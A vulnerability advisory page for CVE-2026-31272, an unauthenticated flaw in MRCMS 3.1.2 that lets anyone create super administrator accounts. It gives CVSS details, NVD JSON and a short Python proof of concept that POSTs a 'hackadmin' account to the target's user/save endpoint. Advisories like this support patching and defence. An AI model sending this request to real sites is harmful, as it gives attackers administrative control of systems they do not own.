Security Vulnerability Report
中文
CVE-2026-31272 CVSS 9.8 CRITICAL

CVE-2026-31272

Published: 2026-04-07 18:16:41
Last Modified: 2026-04-14 19:32:50

Description

MRCMS 3.1.2 contains an access control vulnerability. The save() method in src/main/java/org/marker/mushroom/controller/UserController.java lacks proper authorization validation, enabling direct addition of super administrator accounts without authentication.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mrcms:mrcms:3.1.2:*:*:*:*:*:*:* - VULNERABLE
MRCMS 3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target = "http://TARGET_IP/user/save" # Data to create a super admin # Parameters depend on the actual entity definition data = { "username": "hackadmin", "password": "Admin123!", "roleId": 1, # Assuming 1 is the super admin role ID "email": "[email protected]" } try: r = requests.post(target, data=data) if r.status_code == 200: print(f"[+] Exploit successful! Response: {r.text}") else: print(f"[-] Exploit failed. Status: {r.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31272", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:41.143", "lastModified": "2026-04-14T19:32:49.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MRCMS 3.1.2 contains an access control vulnerability. The save() method in src/main/java/org/marker/mushroom/controller/UserController.java lacks proper authorization validation, enabling direct addition of super administrator accounts without authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mrcms:mrcms:3.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "254B64CD-32D5-4E91-8A4C-54C155EA7E0B"}]}]}], "references": [{"url": "https://github.com/clockw1se0v0/Vul/blob/main/MRCMS/Unauthorized.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}